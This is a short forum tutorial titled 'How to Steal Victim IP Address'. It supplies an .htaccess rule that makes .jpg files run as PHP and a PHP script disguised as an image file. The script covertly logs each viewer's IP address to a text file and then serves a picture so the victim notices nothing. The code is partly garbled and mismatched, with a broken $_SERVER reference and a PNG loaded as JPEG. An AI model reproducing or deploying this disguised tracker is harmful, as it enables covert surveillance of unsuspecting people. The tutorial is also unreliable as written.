Forum Thread: How to Steal Victim IP Address

Step 1: Creating the htaccess code which will add jpg as php executable.
AddHandler application/x-httpd-php5 .jpg
Step 2: Now make a grabber.jpg file with the below code.
<?php
$fh = fopen('iplist.txt', 'a');
fwrite($fh, $
SERVER'REMOTE_ADDR'."
");
fclose($fh);
$im = imagecreatefromjpeg("kali.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
Step 3:Now in the end put a image with kali.png in the same folder and
change the permission for grabber.jpg to 755 you are ready with your ip grabber.

1 Response

Share Your Thoughts

  • Hot
  • Active